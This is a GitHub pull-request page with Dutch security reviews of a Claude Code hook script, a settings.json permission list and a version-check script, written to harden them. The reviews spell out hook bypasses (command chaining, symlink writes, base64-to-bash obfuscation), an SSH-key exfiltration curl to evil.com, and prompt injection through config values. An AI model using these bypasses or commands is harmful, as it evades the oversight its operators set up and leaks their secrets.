feat: Add settings-repo-ref tracking, harden write blocks, and expand developer guides#18
Conversation
Updates across Claude docs (commands, getting-started, global-claude-settings, parallel-agents, testing, workflow, writing-docs, writing-skills, writing-specs), usage-tracker docs (MODELS, QUICKSTART, README, SETUP), global-settings README, adds .gitattributes for line ending normalization, and adds .claude/ config directory. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…ting-skills Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…v1.5.1 - global-settings: add optional settings-repo-ref file to track a non-main branch/tag/sha for version checks (GitHub API + git fetch paths), update block-write-commands.sh to protect the new file, and add deny rules for destructive commands (sudo, rm -rf root, gh pr merge, git reset --hard, etc.) - Remove CLAUDE.local.md flow from docs (README, parallel-agents) and delete the example template; gitignore .claude/settings.json + settings.local.json - writing-skills: document skill-creator vendoring + update script, the evals/workspace/iteration-N layout, and the baseline_score regression marker Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
- Rename top-level heading to "Claude Code Developer Guide" - Add new docs: local-llm.md, playwright-setup.md, examples/ - Remove obsolete exapp-sidecar-status.md - Update commands, workflow, getting-started, parallel-agents, writing-docs, writing-specs, walkthrough, app-lifecycle, and global-claude-settings docs - Add settings-repo-ref.example and settings-repo-url.example - Update usage-tracker scripts (claude-track.py, install.sh) and docs Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
Voor de HWW 2.0 heb ik een json object die links bijhoudt, idee om dat hier ook te gaan doen? zodat we link maintenace op 1 plek krijgen. Ik zou denken dat we op en gegeven moment best ADR's weer los willen hebben omdat niet alleen hydra ze gebruikt?
MWest2020
left a comment
There was a problem hiding this comment.
Review feedback
1. commands.md is te lang (1291 regels, ~47 commands)
Dit bestand is onhoudbaar in zijn huidige vorm. Voorstel: opsplitsen naar domein, met commands.md als compact overzicht + cheat sheet en aparte bestanden per domein:
commands-openspec.md—/opsx-*commandscommands-app.md—/app-*en/clean-envcommands-testing.md— alle test commands + scenario'scommands-tender.md— tender/ecosystem intelligence
2. Team Role Commands (persona's) horen niet inline in een command reference
De persona-tabel (regel 510-531) beschrijft een concept, geen command reference. Verplaats naar een eigen doc (team-roles.md) of als sectie in workflow.md, en verwijs hier alleen:
For team-role agents, see Team Roles.
Dit houdt commands.md gefocust op wat het is: een command reference.
MWest2020
left a comment
There was a problem hiding this comment.
Review: writing-skills.md — te lang (789 regels, ~13K tokens)
Elke keer dat Claude (of een skill) dit bestand leest kost het ~13.000 tokens aan context. Bij een 200K window is dat ~6,5%; in combinatie met andere references loopt dat snel op.
Tops
- Maturity levels (L1-L7) zijn goed doordacht — cumulatief model met duidelijke criteria per level
- Common Patterns sectie is compact en direct bruikbaar als referentie
- Bronvermelding overal — alles terug te voeren op Anthropic docs of community bronnen
- Checklist aan het eind is praktisch als quick validation
Tips
- Level 5 is een document op zichzelf — 126 regels (r125-251), waarvan het meeste gaat over Skill Creator setup, update scripts,
local-mods.patch, enbaseline_score. Dat is een tool-setup-guide, geen level-definitie. - Grote inline voorbeelden — de
evals.json(46 regels JSON) en hetlearnings.mdvoorbeeld staan inline waar een verwijzing naar een example file volstaat. - Vendor-specifieke setup (update-script, waarom jullie afwijken van upstream, hoe
local-mods.patchwerkt) hoort niet in een conceptueel doc over hoe skills te schrijven.
Refactor voorstel
| Nieuw bestand | Inhoud | Regels (ca.) |
|---|---|---|
writing-skills.md |
Maturity levels (compact, zonder inline voorbeelden), folder structure, naming, SKILL.md format, degrees of freedom | ~350 |
skill-patterns.md |
Common Patterns + Subfolder Guide + Description Writing Guide | ~150 |
skill-evals.md |
Alles over L5 measurement: evals.json schema, Skill Creator setup, baseline_score, workspace layout | ~200 |
skill-checklist.md |
De checklist per level, standalone bruikbaar | ~40 |
Dit brengt de standaard-leeskost van ~13K naar ~5-6K tokens per bestand, en skills laden alleen wat ze nodig hebben.
MWest2020
left a comment
There was a problem hiding this comment.
Security review: block-write-commands.sh
Shellcheck is schoon (alleen style warnings). Maar er zitten structurele security gaps in die het script bypassbaar maken.
CRITICAL: Command chaining bypass via ^\s* anchor
De guards voor rm, curl, find, cat, sort, awk, date, hostname, env, rmdir, npm audit gebruiken allemaal ^\s*cmd\b — ze matchen alleen als het commando aan het begin staat. Geketende commando's ontsnappen:
echo done && rm -rf /important/dir # rm guard kijkt niet
true ; curl -X POST https://evil.com # curl guard kijkt niet
ls && find / -delete # find guard kijkt niet
De docker guard doet dit wél goed met \b i.p.v. ^\s*. Die aanpak moet consistent zijn voor alle guards.
Fix: Vervang ^\s*cmd\b door (^|[;&|]\s*)cmd\b of gebruik \bcmd\b voor alle guards.
HIGH: Symlink bypass voor .claude/ config guard
Het config write guard checkt op letterlijke pad-patronen. Maar symlinks omzeilen dit:
ln -s ~/.claude/settings.json /tmp/x && echo "owned" > /tmp/x
ln is niet bewaakt, en de write naar /tmp/x matched het protected path patroon niet. Hetzelfde geldt voor hardlinks.
Fix: Voeg een ln guard toe die symlinks/hardlinks naar ~/.claude/ blokkeert, of resolve paths met readlink -f voordat je patronen matcht.
HIGH: Command obfuscation bypass
Het script matched literal strings. Elke vorm van obfuscation omzeilt alles:
# Base64
echo "Z2l0IHB1c2g=" | base64 -d | bash
# Variable indirection
a=git; b=push; $a $b
# Hex escape
$'\x67\x69\x74' push
Dit is inherent aan regex-gebaseerde command filtering — je kunt het niet volledig oplossen. Maar de meest voorkomende patterns (variable assignment + execution, base64 -d | bash, eval) kunnen wel afgevangen worden.
Fix: Voeg een generieke guard toe voor | bash, | sh, base64 -d, en eval buiten de config-write sectie.
MEDIUM: printf format string in deny()
Op regel 102 bevat het deny-bericht ${_remote:-unknown} — een waarde uit git remote get-url. Als de remote URL % bevat, interpreteert printf die als format specifiers. Impact is laag (aanvaller moet de git remote URL controleren), maar een extra %s wrapper is schoner.
MEDIUM: Ontbrekende guards voor veelgebruikte write operations
| Commando | Risico | Status |
|---|---|---|
sed -i |
In-place file editing | Niet bewaakt |
chown |
Eigenaar wijzigen | Niet bewaakt |
ln -s / ln |
Symlinks aanmaken (bypass vector) | Niet bewaakt |
install |
Kopiëren + permissies zetten | Niet bewaakt |
xargs rm |
Write command via pipe | Niet bewaakt (rm guard vereist ^\s*rm) |
python -c "open('f','w')..." |
Script-write buiten .claude/ |
Niet bewaakt |
LOW: Shellcheck findings
- SC2016 (r45):
sedpattern in single quotes is correct hier (intentional literal), geen bug - SC2002 (r93):
cat file | tr→tr < file(minor efficiency) - SC2001 (r268):
sed→ parameter expansion (minor)
Tops
- Git push autorisatie via transcript is een slimme aanpak — checkt de laatste user message i.p.v. blind toestaan
- WSL boundary guard is grondig — exe's, drive mounts, en het
wslcommando zelf zijn allemaal afgevangen - Docker guard is uitgebreid — dekt zowel
dockeralsdocker composesubcommands - Generic redirect safety net (r359-362) als vangnet voor onafgehandelde cases
- Canonical repo verificatie voor config writes is goed doordacht (git remote check + gh api pad check)
Samenvatting
Het script doet veel goed, maar de ^\s* anchor-bug maakt de helft van de guards bypassbaar via simpele command chaining (&&, ;, ||). Dat is de belangrijkste fix. De symlink bypass en ontbrekende guards (sed -i, ln, chown) zijn de volgende prioriteit.
MWest2020
left a comment
There was a problem hiding this comment.
Security review: check-settings-version.sh
319 regels. Shellcheck geeft 7 findings (5x style, 1x warning, 1x info). De echte issues zitten dieper.
HIGH: Prompt injection via config-bestanden
De variabelen $tracking_ref, $online_repo_slug, $installed_version, en $online_version worden ongevalideerd geïnterpoleerd in Claude-instructies op stdout (r237-301). Als een aanvaller een van deze bestanden kan manipuleren, kan die willekeurige instructies in Claude's prompt injecteren.
tr -d '[:space:]' verwijdert newlines (mitigeert multi-line injection), maar niet alle speciale tekens.
Fix: Valideer alle config-waarden tegen een strikt patroon:
tracking_ref→^[a-zA-Z0-9._/-]+$online_repo_slug→^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$- versies →
^[0-9]+\.[0-9]+\.[0-9]+$
Weiger het script als een waarde niet matcht.
HIGH: Ongevalideerde repo slug in API calls
online_repo_slug (r112) wordt direct in gh api "repos/${online_repo_slug}/contents/..." (r117) geïnjecteerd. Zonder validatie dat het owner/repo format heeft, kan een gemanipuleerd settings-repo-url bestand willekeurige GitHub API endpoints aanroepen.
Fix: Valideer format (^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$) vóór gebruik.
MEDIUM: Predictable /tmp flag file (race condition + info leak)
session_key=$(echo "$transcript_path" | md5sum | cut -c1-12)
flag_file="/tmp/claude-version-warned-${session_key}"- De md5 is deterministisch — een ander proces kan het flag-bestand pre-creëren om de versie-check permanent te onderdrukken (DoS op update-notificaties).
- Elke gebruiker op het systeem kan
/tmp/claude-version-warned-*bestanden zien en afleiden wanneer Claude-sessies actief zijn.
Fix: Gebruik $XDG_RUNTIME_DIR (per-user, niet world-readable) of mktemp met restrictieve permissies.
MEDIUM: Glob expansion in semver_gt (SC2206)
local i ver1=($1) ver2=($2) # r55Met IFS=. wordt gesplit, maar als een versie-string * of ? bevat, expandeert bash die als glob. Bijv. 1.* matcht bestanden in de huidige directory.
Fix: read -ra ver1 <<< "$1" in plaats van unquoted array assignment.
MEDIUM: Geen integriteitsverificatie van gedownloade bestanden
De update-instructies (r260-294) pullen bestanden van GitHub en schrijven ze direct naar ~/.claude/ zonder checksum of signature check. De canonical-repo check in block-write-commands.sh is de enige verdediging, maar deze instructies worden aan Claude gegeven om uit te voeren — ze gaan via een ander pad.
Fix: Voeg een SHA256 checksum toe aan het VERSION-bestand, of verifieer na download dat de remote SHA matcht (gh api geeft file SHA terug).
LOW: timeout dependency niet gecheckt
Regels 118 en 135 gebruiken timeout zonder te controleren of het beschikbaar is (anders dan de gh check op r116). Op sommige minimale systemen ontbreekt timeout.
Fix: command -v timeout >/dev/null 2>&1 check, of gebruik een bash fallback.
LOW: Shellcheck findings
- SC2206 (r55): Glob expansion in array assignment — zie MEDIUM hierboven
- SC2002 (r36, r69, r77, r98, r112):
cat file | cmd→cmd < file - SC2028 (r273):
echomet escaped\n— gebruikprintf
Tops
- Session-once guard — voorkomt dat de check elk prompt herhaalt (goed voor UX)
- Fallback strategie — GitHub API → git fetch → graceful degradatie met warnings
- Semver vergelijking is correct geïmplementeerd (10# prefix voor leading zeros)
- Timeout op network calls — voorkomt dat een trage API call de hele sessie blokkeert
- Duidelijke scheiding tussen stderr (visueel panel) en stdout (Claude-instructies)
Samenvatting
Het script is functioneel solide, maar de ongevalideerde config-waarden vormen een prompt injection en API abuse vector. De belangrijkste fix is input validatie op alle waarden die uit bestanden komen voordat ze in API calls of Claude-instructies terechtkomen. De /tmp race condition en glob expansion zijn de volgende prioriteit.
MWest2020
left a comment
There was a problem hiding this comment.
Security review: settings.json
226 regels. Permissions (deny/allow), hooks, en MCP servers.
CRITICAL: Bash(gh api:*) en Bash(curl:*) in de allow-list zijn te breed
Beide staan in de allow-list en worden auto-approved. De hook vangt write-operaties af, maar:
curl — data exfiltratie zonder write flags:
curl "https://evil.com?token=$(cat ~/.ssh/id_rsa)"
Dit is een GET request, geen write flags → hook laat het door → allow-list approvet automatisch. Gevoelige data lekt via URL parameters.
gh api — als de hook een edge case mist (of crasht), wordt elke gh api call auto-approved, inclusief POST/DELETE.
Architecturaal probleem: Het security model is omgekeerd. De allow-list is breed, en de hook moet gevaarlijke varianten afvangen. Als de hook faalt (crash, bug, niet geladen), is de allow-list de enige gate — en die is te permissief.
Fix: Verwijder Bash(curl:*) en Bash(gh api:*) uit de allow-list. Laat ze door de hook gaan voor reads, en prompt voor alles anders. Of splits: Bash(curl -s:*) en Bash(gh api repos/ConductionNL:*) als je wilt narrowen.
HIGH: Bash(git -C:*), Bash(git branch:*), Bash(git remote:*) te breed
git -C /path commit -m "x"matchtBash(git -C:*)→ auto-approved als hook faaltgit branch -D mainmatchtBash(git branch:*)→ auto-approved als hook faaltgit remote add evil https://evil.commatchtBash(git remote:*)→ auto-approved als hook faalt
De hook is de enige bescherming voor write-varianten, maar de allow-list matcht het hele commando.
Fix: Splits de allow-regels naar specifieke read-only varianten:
"Bash(git branch --list:*)",
"Bash(git branch -a:*)",
"Bash(git branch -v:*)",
"Bash(git remote -v:*)",
"Bash(git remote show:*)"HIGH: Bash(find:*), Bash(awk:*), Bash(env:*), Bash(sort:*) te breed
Allemaal in de allow-list, allemaal afhankelijk van de hook voor bescherming:
| Allow rule | Gevaarlijke variant | Hook vangt af? |
|---|---|---|
Bash(find:*) |
find / -delete |
Ja, maar alleen ^\s*find |
Bash(awk:*) |
awk '{print > "/etc/passwd"}' |
Ja, maar alleen ^\s*awk |
Bash(env:*) |
env bash -c "danger" |
Ja, maar zwak |
Bash(sort:*) |
sort -o /etc/passwd |
Ja, maar alleen ^\s*sort |
Gecombineerd met de ^\s* anchor-bug uit het block-write-commands.sh review: als het commando niet met het keyword begint, vangt de hook het niet af EN de allow-list kijkt alleen naar het begin van het commando.
MEDIUM: MCP servers — @latest supply chain risico
"command": "npx",
"args": ["-y", "@playwright/mcp@latest", ...]@latestop 7 instances: elke sessie kan een nieuwe versie pullen. Bij een supply chain compromise zijn alle 7 browsers getroffen.npx -yauto-installeert zonder bevestiging.browser-6mist--headless(r219) — bewust? De andere 6 hebben het wel.
Fix: Pin een specifieke versie: @playwright/mcp@0.0.23 (of welke versie getest is). 7 instances is veel — documenteer waarom.
MEDIUM: Deny-list gaps en overkill
Te streng:
Bash(git restore:*)blokkeert ookgit restore --staged file.txt— een veilige, veelgebruikte operatie (unstage files). Dit gaat dagelijks frustreren.
Ontbreekt:
git push --force/git push -fstaat niet in de deny-list (alleen via hook transcript-auth)rm -rfstaat niet in de deny-list (alleen via hook)git rebase(kan history herschrijven)pip install,npm install(kunnen arbitrary code uitvoeren)
LOW: Deny-regels voor Edit/Write op ~/.claude/ zijn redundant met hooks
Regels 4-15 denyen Edit/Write op config bestanden. De hook doet hetzelfde voor Bash. Redundantie is niet slecht (defense in depth), maar documenteer dat het bewust dubbel is, zodat toekomstige maintainers niet per ongeluk één laag verwijderen.
Tops
- Defense in depth — deny-list + hook + file permissions (chmod) is drie lagen
- Uitgebreide read-only allow-list — goede DX, Claude hoeft niet te vragen voor
ls,git log, etc. - Docker read-only commands apart ge-allowlist (niet
Bash(docker:*)) - gh read commands specifiek per subcommand (pr list, pr view, etc.)
Samenvatting
Het kernprobleem is het omgekeerde security model: brede allow-regels (curl:*, gh api:*, git -C:*, find:*) vertrouwen op de hook als enige gate voor gevaarlijke varianten. Als de hook faalt of een edge case mist, is alles auto-approved. Fix: narrow de allow-regels naar bewezen read-only varianten. Pin Playwright MCP versie. Voeg git push --force toe aan deny-list.
MWest2020
left a comment
There was a problem hiding this comment.
Suggestie: gebruik exit code 2 voor hard blocks
Claude Code hooks ondersteunen exit 2 als hard block — de tool call wordt geweigerd ongeacht de stdout output. Het huidige script doet altijd exit 0 + JSON deny, wat afhankelijk is van correcte output parsing.
Waarom dit ertoe doet
Als de JSON output corrupt raakt of de parser een edge case heeft, wordt een exit 0 + deny gemist en valt het door naar de allow-list in settings.json. Een exit 2 is een failsafe die onafhankelijk van output werkt.
Concrete toepassing
# Hard block — niets kan dit overrulen
hard_deny() {
printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\n' "$1"
exit 2 # ← failsafe: blocked zelfs als JSON parsing faalt
}
# Soft prompt — gebruiker kan goedkeuren
ask() {
printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"ask","permissionDecisionReason":"%s"}}\n' "$1"
exit 0
}Welke cases exit 2 verdienen
| Case | Nu | Voorstel |
|---|---|---|
| WSL boundary (r364-393) | deny + exit 0 |
hard_deny + exit 2 |
.claude/ config write (r90-112) |
deny + exit 0 |
hard_deny + exit 2 |
date --set (r275-279) |
deny + exit 0 |
hard_deny + exit 2 |
| Unauthorized git push (r243-249) | deny + exit 0 |
hard_deny + exit 2 |
| Soft prompts (rm, docker, curl, etc.) | ask + exit 0 |
Blijft ask + exit 0 |
De JSON output behoud je voor de deny reason (zodat de gebruiker ziet waarom), maar exit 2 is het vangnet dat altijd werkt.
MWest2020
left a comment
There was a problem hiding this comment.
Review: usage-tracker/ — claude-track.py, claude-usage-tracker.py, install.sh
Wat het doet
Token usage tracker voor Claude Code. Leest JSONL-bestanden uit ~/.claude/projects/, berekent sessie- (5h rolling) en weekgebruik per model, en toont reports/status bars/continuous monitoring. Puur lokale read-only tool — geen API calls, geen uploads, geen netwerk.
MEDIUM: usage-tracker/logs/ en limits.json staan niet in .gitignore
Geverifieerd: de root .gitignore bevat alleen .idea/ en .claude/settings*.json. Er is geen usage-tracker/.gitignore. git check-ignore bevestigt dat deze bestanden niet genegeerd worden:
usage-tracker/logs/session.json— wordt elke monitor-cyclus geschreven met timestamps, token counts per model, en sessie-activiteit. Wordt meegecommit bijgit add .usage-tracker/logs/session-state.json— bevat gekalibreerde sessie-reset tijd (wanneer je Claude-sessie begon)usage-tracker/limits.json— persoonlijke plan-limieten en weekly reset-tijden
De logs/ directory heeft een .gitkeep maar geen ignore-regel. Zodra de monitor draait, verschijnen er bestanden die per ongeluk gecommit kunnen worden.
Fix: Voeg toe aan .gitignore:
usage-tracker/logs/*.json
usage-tracker/limits.json
Security: grotendeels veilig
De tracker is bewust read-only en heeft een klein aanvalsoppervlak. Geen grote issues, wel hardening-punten:
LOW: Brede except Exception: pass maskeert fouten (6x)
Regels 80, 114, 240, 384, 628 in claude-usage-tracker.py — alle exceptions worden stil gesikt. Als een JSONL-bestand corrupt is of de JSON-parser een onverwachte fout geeft, merk je niets. Geen security-risico maar maakt debugging onmogelijk.
Fix: except (json.JSONDecodeError, KeyError, ValueError) i.p.v. bare Exception, of log naar stderr.
LOW: ln -sf in install.sh overschrijft bestaande symlinks stil (r29)
Als ~/.local/bin/claude-usage-tracker al naar iets anders wijst, wordt het zonder waarschuwing overschreven. De check op r26 kijkt alleen of het een symlink ís, niet waarheen die wijst.
LOW: subprocess.run zonder return code check (claude-track.py r71)
subprocess.run(["bash", str(setup_script)]) — als install.sh faalt weet de gebruiker het niet.
Fix: subprocess.run(..., check=True).
Kwaliteit
Tops:
- Read-only by design — leest alleen JSONL, geen writes naar Claude's eigen bestanden
- Geen netwerk — geen API calls, geen telemetrie, geen phone-home
subprocess.runmet list-form (r71, r625) — geen shell injection mogelijk- Calibreerbaar —
--set-session-resetmet input validatie (regex parsing) - Interruptible sleep met file-watching (r637-645) — reageert op config changes zonder polling
- install.sh is shellcheck-clean — geen warnings
Tips:
importlib.util.spec_from_file_locationin claude-track.py is fragiel — alsclaude-usage-tracker.pyhernoemd wordt, crasht het zonder duidelijke foutmelding. Een gewoneimportmetsys.pathmanipulatie is simpeler.
MWest2020
left a comment
There was a problem hiding this comment.
Review: usage-tracker/README.md + QUICKSTART.md
MEDIUM: README claimt dat bestanden git-ignored zijn, maar ze zijn het niet
git check-ignore bevestigt dat geen van deze bestanden genegeerd wordt:
- README r36:
limits.json ← Your plan limits (git-ignored)→ NIET git-ignored - README r43:
logs/ ← Runtime data (git-ignored)→ NIET git-ignored - README r226:
limits.json is git-ignored so it stays personal→ Niet waar
De root .gitignore bevat alleen .idea/ en .claude/settings*.json. Er is geen usage-tracker/.gitignore. Dit is een feitelijke onjuistheid die gebruikers een vals gevoel van veiligheid geeft — persoonlijke plan-limieten en sessie-data worden meegecommit bij git add ..
Fix: Voeg de ignore-regels daadwerkelijk toe (zie eerdere review), of verwijder de claim uit de README.
LOW: Command comment zegt "30s" maar commando doet 5 minuten
README regel 95-96:
# Continuous monitoring — all models, 30s refresh
python3 usage-tracker/claude-usage-tracker.py --monitor --all-models --interval 300--interval 300 = 300 seconden = 5 minuten, niet 30 seconden. De comment is fout.
LOW: "Today" verwijzingen — verouderde terminologie
De tracker toont session (~5h rolling) en weekly metrics, geen "today":
- README r24:
Today's usage and this week's running total→ moet "Session usage" zijn - README r244:
"Today: 0.0%" but you've been working→ de tracker toont nooit "Today: 0.0%" - QUICKSTART r156:
"Today: 0.0%"→ zelfde issue
Dit lijkt overgebleven van een eerdere versie die dagelijkse metrics had.
LOW: QUICKSTART r81 — "Replace the entire file content"
De VS Code task-instructie zegt het hele tasks.json te vervangen. Als de gebruiker al bestaande tasks heeft, zijn die weg. Zou moeten zijn: "voeg deze task toe aan het bestaande tasks array".
LOW: QUICKSTART r167-171 — Limits tabel is leeg
De "Real Limits Reference" tabel noemt alleen Sonnet en elke rij zegt "Varies by plan". De tabel voegt niets toe — verwijder of vul aan.
Tops
- Architecture diagram (r266-272) met mermaid is helder en compact
- Calibratie-instructie (r228) met concrete rekenvoorbeeld is praktisch
- Link naar parallel-agents.md#two-kinds-of-token-limits werkt (geverifieerd)
- Duidelijke structuur — Quick Start, Usage, Integration, Output Examples, Configuration, Troubleshooting als aparte secties
MWest2020
left a comment
There was a problem hiding this comment.
Review: usage-tracker/SETUP.md + maintainability van de hele usage-tracker docs
MEDIUM: python3 usage-tracker/claude-usage-tracker.py staat 52x hardcoded
Geteld over de drie docs:
- SETUP.md: 22x
- README.md: 15x
- QUICKSTART.md: 15x
Plus de Makefile (6x) en de VS Code task JSON (1x met ${workspaceFolder} prefix).
Als het pad, de bestandsnaam, of de Python-interpreter verandert, moet je op 52+ plekken zoeken-en-vervangen. Dit is niet alleen een maintenance-nachtmerrie — het is ook een attack vector: als iemand een ander script op datzelfde pad plaatst (of het origineel vervangt), vertrouwen alle docs erop dat het juiste bestand wordt uitgevoerd.
Fix — centraliseer het entry point:
De install.sh maakt al een symlink ~/.local/bin/claude-usage-tracker. En claude-track.py is al een launcher wrapper. Gebruik die:
# In alle docs, 1 commando:
claude-track report
claude-track status
claude-track monitorDan staat het pad op exact 2 plekken: install.sh (symlink) en claude-track.py (import). 52 hardcoded paden → 0.
De Makefile kan dan ook simpeler:
report:
@claude-track reportMEDIUM: Drie docs met 80% overlap
SETUP.md (382 regels), README.md (289 regels) en QUICKSTART.md (178 regels) herhalen grotendeels dezelfde content:
| Content | SETUP | README | QUICKSTART |
|---|---|---|---|
| Install stappen | ✓ | ✓ | ✓ |
--status-bar voorbeelden |
✓ | ✓ | ✓ |
--monitor voorbeelden |
✓ | ✓ | ✓ |
--limits uitleg |
✓ | ✓ | ✓ |
| VS Code task JSON | ✓ | ref | ✓ (volledig) |
| Output voorbeeld | ✓ | ✓ | ✓ |
| Calibratie | ✓ | ✓ | ✓ |
| Troubleshooting | ✓ | ✓ | ✓ |
Dit is 849 regels docs voor een utility van 752 regels code. Meer docs dan code, met drievoudige duplicatie.
Fix: Eén README.md met alles, of max twee: README.md (features + quick start + usage) en SETUP.md (alleen de diepe configuratie: limits.json, weekly reset, calibratie, VS Code task). QUICKSTART.md kan weg — het voegt niets toe dat niet in de eerste 30 regels van de README past.
Eerder gemelde issues die ook in SETUP.md zitten
- r34:
logs/, git-ignored→ niet git-ignored (zelfde als README) - r54:
Today: 0.0%→ tracker toont nooit "Today" - r69:
limits.json is git-ignored→ niet git-ignored - r154: "Replace the entire file content" → overschrijft bestaande VS Code tasks
- r286: Tabel noemt "Daily" limits → tracker heeft geen daily metrics, alleen session (5h) en weekly
- r335:
filtered to Mon UTC–now→ alleen alsweekly_reset_dayniet geconfigureerd is - r338:
"Today" in the tracker is an approximation→ tracker toont geen "Today"
LOW: Makefile clean target doet rm -f zonder bevestiging (r63)
clean:
@rm -f $(TRACKER_DIR)logs/*Niet gevaarlijk (alleen logs/*.json), maar inconsistent met de rest van het security-model waar destructieve operaties bevestiging vereisen.
Tops
- Calibratie-instructies (Step 2.5) zijn uitstekend — concrete rekenvoorbeelden, timezone conversie tabel,
--limitsverificatie - Cursor-compatibiliteit sectie (r375-382) is nuttig en compact
- Makefile centraliseert tenminste de script-aanroepen voor de terminal
Samenvatting
De drie docs moeten naar twee (of één), de 52 hardcoded python3 usage-tracker/... paden naar het bestaande claude-track entry point, en alle "Today" en "git-ignored" claims moeten gefixed worden.
MWest2020
left a comment
There was a problem hiding this comment.
Review: overige 21 bestanden (batch)
Per bestand — opmerkingen waar nodig
docs/claude/README.md — 901 regels ⚠️
Veruit het langste doc in de PR. Bevat: guide-index, work pipeline, Windows workstation setup, WSL prerequisites, local config, directory structure, personas, ADRs, usage tracker, Hydra CI/CD, scripts, contributing, en troubleshooting.
Te lang. Dit is geen README meer, dit is een boek. De "Guides" index (r1-57) is prima. Alles daarna is content die in de gelinkte docs thuishoort:
- Workstation Setup (r300-450) → eigen doc
workstation-setup.md - Prerequisites WSL (r452-555) → zelfde doc of
prerequisites.md - Personas (r696-713) → al voorgesteld als apart doc in de commands.md review
- ADRs (r717-762) → verwijzing naar
writing-adrs.mdvolstaat, de tabel dupliceert
Hardcoded python3 paden: r774, r777, r900 — zelfde issue als usage-tracker docs.
docs/claude/writing-docs.md — 554 regels ⚠️
Tweede langste doc. Ironie: een doc over docs schrijven dat zelf te lang is. De "Staleness Signals" tabel (25 rijen) en Part 2/3 (Writing Mechanics + Maintenance) zouden aparte bestanden kunnen zijn.
docs/claude/walkthrough.md — 429 regels ✓
Lang maar gerechtvaardigd — het is een volledig uitgewerkt voorbeeld met gesimuleerde output per fase. Geen issues.
docs/claude/writing-specs.md — 394 regels ✓
Goed gestructureerd. Stack-specifieke commando's (composer test, phpunit, newman) zijn correct voor de projectcontext. Geen issues.
docs/claude/local-llm.md — 284 regels
MEDIUM: sudo npm install -g (r140)
sudo npm install -g @qwen-code/qwen-code@latest
sudo met npm install -g voert package-scripts uit als root. Plus @latest is ongepind (supply chain). Twee problemen in één regel.
Fix: Drop sudo, gebruik een user-level install of npx, pin versie.
LOW: curl -fsSL https://ollama.com/install.sh | sh (r25) — pipe-to-shell install. Standaard voor Ollama maar inherent risico.
docs/claude/getting-started.md — 225 regels
LOW: npm install -g @fission-ai/openspec@latest (r67) — ongepinde @latest, zelfde patroon als Playwright.
Verder clean. Goede cross-links, logische opbouw.
docs/claude/global-claude-settings.md — 273 regels ✓
Security-kritisch doc. Goed geschreven. Documteert de hook trust model, het chmod-beschermingsmodel, en de canonical repo verificatie. browser-6 zonder --headless is bewust gedocumenteerd (consistent met playwright-setup.md en settings.json).
docs/claude/testing.md — 266 regels ✓
Clean. Browser assignment tabel consistent met playwright-setup.md. admin/admin credentials (r248) zijn voor lokale Docker dev — acceptabel.
docs/claude/workflow.md — 262 regels ✓
Clean. Dependency chain diagram en plan.json voorbeeld zijn helder. Geen issues.
docs/claude/parallel-agents.md — 136 regels
LOW: r19 zegt "a full day of normal usage" — zou "a full session" moeten zijn (5h rolling window, niet dagelijks).
Verder correct en compact.
docs/claude/playwright-setup.md — 74 regels
@playwright/mcp@latest staat 13x in dit bestand (7x in MCP config, 6x in CLI bash loop). Dit is de canonieke referentie voor de browser pool — als hier een versie gepind wordt, volgt de rest.
Gelinkte bestanden bestaan: ./examples/.mcp.json.example ✓, ./img/mcp-servers-connected.png ✓.
.gitattributes — 56 regels ✓
Standaard LF normalisatie. Windows scripts (bat/cmd/ps1) krijgen CRLF. Binaries correct gemarkeerd. Geen issues.
.gitignore — 4 regels ⚠️
Alleen .idea/ en .claude/settings*.json. Ontbreekt: usage-tracker/logs/*.json en usage-tracker/limits.json (zie eerdere reviews).
global-settings/README.md — 87 regels ✓
Installatie-instructies, versioning policy, en update flow. Compact en correct. Verwijst naar global-claude-settings.md voor de volledige referentie.
global-settings/VERSION — 1 regel ✓
1.5.1 — bump van 1.4.0. OK.
global-settings/settings-repo-ref.example — 1 regel ✓
Bevat main. Template voor ~/.claude/settings-repo-ref.
global-settings/settings-repo-url.example — 1 regel ✓
Bevat ConductionNL/.github. Template voor ~/.claude/settings-repo-url.
usage-tracker/MODELS.md — 134 regels
Hardcoded paden: 12x python3 usage-tracker/claude-usage-tracker.py — zelfde probleem. De shell aliases op r108-111 bevatten zelfs /path/to/project/ als placeholder — fragiel.
80% overlap met README.md en QUICKSTART.md. Kandidaat om te mergen.
docs/claude/examples/.mcp.json.example — 32 regels
Identiek aan de mcpServers sectie in settings.json. @playwright/mcp@latest op alle 7 entries. browser-6 zonder --headless consistent met de rest.
docs/claude/examples/CLAUDE.local.md.example — 30 regels
Bevat placeholder credentials (admin/admin voor local, instructies voor productie-wachtwoorden via 1Password). Dit is correct als template — het is een .example bestand. Het CLAUDE.local.md doelbestand staat niet in .gitignore — maar dat is per-project, niet voor deze repo.
Cross-cutting issues over alle 32 bestanden
| Issue | Bestanden | Severity |
|---|---|---|
@latest ongepind (supply chain) |
playwright-setup, settings.json, .mcp.json.example, local-llm, getting-started | MEDIUM |
python3 usage-tracker/... hardcoded |
README, SETUP, QUICKSTART, MODELS, docs/claude/README | MEDIUM |
.gitignore mist tracker files |
.gitignore, alle tracker docs die "git-ignored" claimen | MEDIUM |
| "Today" terminologie verouderd | README, QUICKSTART, SETUP tracker docs | LOW |
| docs/claude/README.md te lang (901r) | docs/claude/README.md | LOW |
sudo npm install -g |
local-llm.md | MEDIUM |
Summary
